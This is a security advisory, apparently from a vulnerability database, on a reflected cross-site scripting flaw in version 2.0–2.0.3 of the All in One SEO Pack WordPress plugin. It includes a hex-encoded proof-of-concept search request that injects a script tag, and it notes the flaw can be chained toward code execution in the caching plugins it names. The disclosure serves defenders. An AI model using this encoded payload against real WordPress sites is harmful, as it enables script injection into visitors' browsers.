WordPress Semper Fi Cross Site Scripting

2013-10-04 / 2015-12-26
Risk: Low
Local: No
Remote: Yes

------------------------------------------------------------------------ Vendor: Semper Fi Web Design (http://semperfiwebdesign.com/) Software: All in One SEO Pack Developer: Michael Torbert (http://michaeltorbert.com/) Product URL: http://wordpress.org/plugins/all-in-one-seo-pack/ Changelog: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/ Vulnerability type: Reflected Cross-Site Scripting (XSS) Vulnerable versions: 1.x branch: - 2.x branch: 2.0 - 2.0.3 Fixed in: Credit: Charlie Briggs / Richard Clifford ------------------------------------------------------------------------ Advisory details: Semper Fi Web Design's WordPress plugin, All in One SEO Pack introduced the use of PHP function stripcslashes() on the search string in version, this was continually used in each version up until the latest ( The use of stripcslashes() means that an encoded payload in the search parameter, forming a request of: http://example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e Would lead to the following output: </title><script>alert(document.domain)</script> This can also be used as an attack vector for the remote code execution vulnerabilities in vulnerable versions of the caching plugins W3 Total Cache and WP Super Cache. ------------------------------------------------------------------------

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023, cxsecurity.com


Back to Top